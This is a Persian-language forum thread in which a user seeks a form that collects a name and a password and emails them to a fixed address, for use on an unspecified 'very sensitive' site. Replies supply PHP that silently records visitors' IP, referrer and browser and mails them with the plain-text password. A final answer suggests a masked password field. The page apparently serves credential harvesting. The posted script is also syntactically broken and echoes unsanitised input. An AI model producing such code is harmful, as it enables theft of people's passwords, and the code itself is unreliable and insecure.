rasivell

درخواست فرم ارسال ایمیل ساده

16 پست در این موضوع قرار دارد

سلام به استاتید محترم

دوستان عزیز ، من نیاز به یه فرم ساده دارم که 2 تا داده و یا مقدار رو از کاربر بگیره و اون رو ایمیل کنه به ایمیلی از پیش تایین شده

من یه فرم طراحی کردم یه فرم خیلی ساده با HTML میخوام این فرم رو رو هاست قرار بدم ! توی این فرم ساده از کاربر تو قسمت اول یه اسم خواسته میشه و تو قسمت دوم یه رمز! بعد دکمه ارسال رو که میزنه ، اون 2 تا مقداری که کاربر وارد کرده یعنی اسم و رمز ، به یه ایمیل بفرسته ، حالا هر ایمیلی که باشه. فکر نکنم کار پیچیده ای باشه و ساده است ممنون میشم اگر یکی زحمتش رو بکشه

لطفا به فایل ساده اچ تی ام ال من نگاه کنید من دقیقا روی همین فایل میخوام که کد مربوطه نوشته بشه به همین سادگی

فقط دوستان عزیز من یکی دوبار با چند راه مختلف تست کردن نشده! ممنون میشم اگر بعد از اینکه نوشتید این کد رو یه تست هم بفرمایید که درست باشه. و اینکه بعد از ارسال ایمیله یه متن نشون بده مثلا بگه ارسال شد

فایل رو پیوست کردم

متشکر

index.html

0

به اشتراک گذاری این پست


لینک به پست

صبر براتون php میکنم پیوست میکنم

1

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

بفرمایید index.php

index.zip

بعد از دانلود با یک ویرایشگر باز کن لاین 8 ایمیل خودتون جایگزین کن جای :


$to = "progpars@yahoo.com";

ویرایش شده در توسط progpars
4

به اشتراک گذاری این پست


لینک به پست

سلا متشکر که وقت گذاشتید ولی این نوع فرم توی انجمن بود من یه نوع دیگه میخوام...

ببینید ! من نمیخوام که توی دستوراتش چک کنه اگر خالی بود بیاد فرم رو نشون بده و یا اگر خالی نبود بیاد پیام ارسال شد رو نشون بده وتشکر کنه!

میخوام یه فایل PHP جدا باشه که هیچ دستور شریط و.. نداشته باشه اصلا کاری نداشته باشه که فرم ها پر هستن و یا خالی و یا ..... فقط کارش دریافت پارامتر و ارسالش باشه

و اون رو الصاق کنم به این صفحه HTML خودم! یعنی 2 تا فایل جدا باشن نه اینکه یه فایل که توش همه این کد ها باشه و بیاد چک کنه ایا فرم خالیه و یا نه و ..... هیچی چک نکنه! فقط کار اون فایل PHP این بازی که ارسال کنه همین! و جدا باشن از هم

البته اگر بشه جدا باشن و چک بکنه که بدک نیست ولی من میخوام پیچیدگی نداشته باشه! من این فرم رو میخوام که روی یه مکان فوق العاده حساس پیادش کنم برای همینه که میگم ساده باشه تا اذیت نکنه ! میخوام بدونم چطوری میشه 2 تا پارامتر رو گرفت و با پی اچ پی ایمیلش کرد! کد شما هرچی که باشه من میخوام اونی که خودم نیاز دارم ازش بردارم

1

به اشتراک گذاری این پست


لینک به پست

یک مثال خیلی ساده برای دریافت از فرم:

در فایل html

<form method="post" action="send.php">
<input type="text" value="" name="field">
<input type="submit" value="submit">
</form>

در فایل send.php

<?php
$field = $_POST['field'];
echo $field;
?>

2

به اشتراک گذاری این پست


لینک به پست

متشکرم ولی توی این کد شما حرفی از ایمیل نزده شده! من میخوام توی فایلی که تو پست اول ضمیمه کردم یکی تو یه فایل جدای پی اچ پی بهش دستور ارسال اون فرم رو به یه ایمیل بده

0

به اشتراک گذاری این پست


لینک به پست


<form method="post" action="sendeail.php">
<!-- DO NOT change ANY of the php sections -->
<?php
$ipi = getenv("REMOTE_ADDR");
$httprefi = getenv ("HTTP_REFERER");
$httpagenti = getenv ("HTTP_USER_AGENT");
?>
<input type="hidden" name="ip" value="<?php echo $ipi ?>" />
<input type="hidden" name="httpref" value="<?php echo $httprefi ?>" />
<input type="hidden" name="httpagent" value="<?php echo $httpagenti ?>" />
<label>نام : <input type="text" name="visitor" size="50" /></label>
<label>پسورد : <input type="text" name="visitorpass" size="50" /></label>
<input type="submit" value="Submit" />
</form>

کد فرمتونه جای اون صفحه ی html یا داخل یم فایل بگذارید یا جداگانه در فرمت php ذخیره کنید


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Sendemail Script</title>
</head>
<body>
<!-- Reminder: Add the link for the 'next page' (at the bottom) -->
<!-- Reminder: Change 'YourEmail' to Your real email -->
<?php
$ip = $_POST['ip'];
$httpref = $_POST['httpref'];
$httpagent = $_POST['httpagent'];
$visitor = $_POST['visitor'];
$visitorpass = $_POST['visitorpass'];

if(empty($visitor) || empty($visitorpass)) {
echo "<h2>خطا! تمام خانه ها تکمیل نشده اند</h2>\n";
die ("خطا! ! ");
}
$todayis = date("l, F j, Y, g:i a") ;
Name: $visitor\n
Pass: $visitorpass\n
Additional Info : IP = $ip \n
Browser Info: $httpagent \n
Referral : $httpref \n
";
$from = "From: EXAMPLE1@mail.com\r\n";

mail("YourEmail@domain.com", $subject, $message, $from);
?>
<p align="center">
تاریخ: <?php echo $todayis ?>
<br />
با تشکر دوست عزیز :
<br />
نام <?php echo $visitor ?>
<br />
پسورد :<?php echo $visitorpass ?>
<br />
<br />
<?php echo $ip ?>
ارسال شد
</p>
</body>
</html>

این کدها را هم با نام sendeail.php ذخیره کنید

آدرس کامل محل این فایل را در کد های قبل و جای action="sendeail.php" در حط اول بگذارید

در این کدها شما به دو آدرس ایمیل احتیاج دارید که یکی فرستنده و دیگری گیرنده است (چون نمی خواهید ایمیل بگیرید) پس هر دو را باید خودتان معرفی کنید یکی را بجای EXAMPLE1@mail.com و ایمیل خودتان که گیرنده اید را بجای YourEmail@domain.com قرار دهید

type password قابل خواندن نیست تایپ هر دو اینپوت را text گذاشتم و نام یکی را پسورد

یعنی به صورت ستاره ای نمی نویسد

2

به اشتراک گذاری این پست


لینک به پست

دوست گلم این یه کد اماده است که از یه وب دیگه برداشته شده! اصلا اینا چیزی نیست که من نیاز دارم! نمیخواد که اصلا چک کنه که تو فیلد چیزی هست ، نیست و..! شما این کد رو از یه وبلاگ برداشتید که قبلا من خودمم دیده بودمش!

من فقط از یه برنامه نویس PHP میخوام یه کد خیلی خیلی خیلی ساده بنویسه برای ارسال اطلاعات اون فایلی که توی پست اولم الصاق کردم! ، نمیخوام چک بشه که اطلاعات هست یا نه ، نمیخوام هیچ دستور ایف و یا شرطی باشه! فقط اینکه یه فایل جدای PHP باشه که به اون فایل من وصل بشه وقتی دکمه رو زدی اطلاعات رو به یک ایمیل ارسال کنه به سادگی سادگی سادگی ! اصلا نیازی نیست چک کننده ای باشه که چک کنه ایا اطلاعات هست تو فیلدا یا نیست و....

درخواست من خیلی ساده و روشنه نمیدونم چرا کسی متوجه اون نمیشه!

0

به اشتراک گذاری این پست


لینک به پست

کدی که آقا ایمان دادن PHP هست و دقیقا همین کاررو میکنه

http://php.net/manua...nction.mail.php

http://www.w3schools...hp/php_mail.asp

2

به اشتراک گذاری این پست


لینک به پست

ای وای !! اره میدونم ولی ایا کسی به درخواست من توجه میکنه؟؟؟ عزیز من دوستان گلم این کدی که شما ها میدید خیلی خیلی خیلی پیچیده است میدونم پی اچ پیه! ما C++ کار کردیم کد هارو میشناسیم ولی الان PHP لازم داریم و توش گیر کردیم همین! این کدی که شماها دارید میدید یه کدیه که میاد تست میکنه ایا فیلد ها پره یا نه اگر پر بود یه کاری کنه اگر نبود یه کار دیگه!!!

من اینارو نمیخوام ! من یه کد ساده میخوام که فقط اون مقادیر فایل خودم رو ارسال کنه دیگه چک نکنه که ایا پره یا نه! من میدونم دیگه این دوستان همه رفتن دارن توی گوگل سرچ میکنن این کد هارو میدن میخواید ادرس صفحاتی رو که این کد اقا ایمان و اون دوست دیگه مون دادن رو بهتون بدم که از کدوم وبلاگ برداشتن؟؟؟ من میخوام خودتون فایل اول من رو دانلود کنید یه چند خط کد ساده سادسه ساده ساده ساده ساده بنویسید که هیچ دستور شرطی نداشته باشه فقط ایمیل ارسال کنه که حاوی اون دوتا فیلد ورودی باشه! بابا خیلی ساده به خدا من PHP کار نکردم به خدا 4 دقیقه کار نداره نوشتنش! کارمون لنگ این کده

0

به اشتراک گذاری این پست


لینک به پست

ای وای !! اره میدونم ولی ایا کسی به درخواست من توجه میکنه؟؟؟ عزیز من دوستان گلم این کدی که شما ها میدید خیلی خیلی خیلی پیچیده است میدونم پی اچ پیه! ما C++ کار کردیم کد هارو میشناسیم ولی الان PHP لازم داریم و توش گیر کردیم همین! این کدی که شماها دارید میدید یه کدیه که میاد تست میکنه ایا فیلد ها پره یا نه اگر پر بود یه کاری کنه اگر نبود یه کار دیگه!!!

من اینارو نمیخوام ! من یه کد ساده میخوام که فقط اون مقادیر فایل خودم رو ارسال کنه دیگه چک نکنه که ایا پره یا نه! من میدونم دیگه این دوستان همه رفتن دارن توی گوگل سرچ میکنن این کد هارو میدن میخواید ادرس صفحاتی رو که این کد اقا ایمان و اون دوست دیگه مون دادن رو بهتون بدم که از کدوم وبلاگ برداشتن؟؟؟ من میخوام خودتون فایل اول من رو دانلود کنید یه چند خط کد ساده سادسه ساده ساده ساده ساده بنویسید که هیچ دستور شرطی نداشته باشه فقط ایمیل ارسال کنه که حاوی اون دوتا فیلد ورودی باشه! بابا خیلی ساده به خدا من PHP کار نکردم به خدا 4 دقیقه کار نداره نوشتنش! کارمون لنگ این کده

دوست عزیز شما یه کد می خوای یه روزنامه می نویسی چطوری انتظار داری با یه خط کد کارت حل شه

این قسمت رو از کد بالا حذف کن


if(empty($visitor) || empty($visitorpass)) {
echo "<h2>خطا! تمام خانه ها تکمیل نشده اند</h2>\n";
die ("خطا! ! ");
}

در ضمن کد تماس با ما مال هیچ وبلاگی یا شخصی نیست

در دنیای اوپن سورس هیچ کدی مالکیت فردی نداره و هر وبلاگی این کد را داره اون هم مثل من از گوشه ی دفترچه یادداشتش برداشته و ببخشید اگر من نمی دونستم شما چه وبلاگ هایی رفتید و چه کدهایی رو خوندید

بهر حال اگر تقاضاتون اتفاقی غیر تکراری در php باشه باید با سابت php.net تماس بگیرید و گرنه اینگونه کدها در همه جا همین شکلی هاست

1

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

اخه چیکار کنم شما حتی به خودت زحمت نگاه کردن فایل اول من رو نمیدی! شما نمیخوای متوجه این مساله باشی که من میخوام فایل خودم که الصاق کردم با فایل ارسال کننده ایمیل جدا باشه همین!

من یه فایل دارم که تو اولین پست این تاپیک گذاشتم! یه فایل خارجی یعنی اکسترنال PHP میخوام که اون فایل من رو ارسال کنه! حالا اگر شما واقعا این مساله به این سادگی رو متوجه شدید بسم االله و ببینید اونی که شما دادی و باز داری تکرارش میکنی چقدر با اونی که ما میخوایم تفاوت داره!

درضمن این فرم تماس با ما نیست من این رو برای کار دیگه ای میخوام و ربطی به وردپرس و... نداره و برای همین تو قسمت PHP سوالم رو نوشتم!

ویرایش شده در توسط rasivell
0

به اشتراک گذاری این پست


لینک به پست

دوستان زحمت نکشید! رفتم تو خود سایت PHP به یه نتیجه هایی رسیدم و خودم یه فایل اونطوری که میخواستم نوشتم ولی یه مشکلی داره و اونم اینه که مقدادیری که توی فرمه منه رو ارسال نمیکنه! یعنی ایمیل میاد ولی بجای اینکه اون 2 تا فیلد من رو اسال کرده باشه ! یه پیغام ارسال میکنه Pass همین!

فایل من:

http://uploadfa.net/uploads/13446705821.rar

0

به اشتراک گذاری این پست


لینک به پست

خوب درسته دیگه. شما توی متغییر message فقط دارید یک مقدار ورودی میریزید. آدرس ایمیل طرف رو هم که در ورودی اول میگیرید.

حالا چیزی که پیوست کردم رو چک کنید.

rasivell.rar

1

به اشتراک گذاری این پست


لینک به پست

ارسال شده در (ویرایش شده)

متشكرم...

اين ارور رو داد:

Parse error: syntax error, unexpected T_VARIABLE in بعد در ادامه اشاره كرده بود به محل فايل در سرور و اخرشم كد زير رو داشت نشون ميداد:

/send.php on line 7

به خط شماره 7 داره اشاره ميكنه

منم يه برسي كردم ديدم كه انتهاي خط 6 بسته نشده با سيمي كالن و بستمش درست شد! اين دقيقا همونيه كه من ميخواستم! خوب شد رفتم اين سايت PHP رو ديدم و تونستم لا اقل نصفه هم كه شده به فايل درخواستيم اشاره كنم تا مرتضي جان هم زحمت تكميلش رو بكشن!

از دوستان متشكرم. مشكلم دقيقا حل شد.

فقط مرتضي جان ، اگر اون قسمت رمز رو تايپش رو بزارم پسورد كه موقع تايپ ستاره اي نشون بده! ديگه نميتونه به صورت عدد به ايميل ارسال كنه درسته؟

ویرایش شده در توسط rasivell
0

به اشتراک گذاری این پست


لینک به پست

نه مشکلی پیش نمیاد. بزارید روی حالت پسورد.

0

به اشتراک گذاری این پست


لینک به پست

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری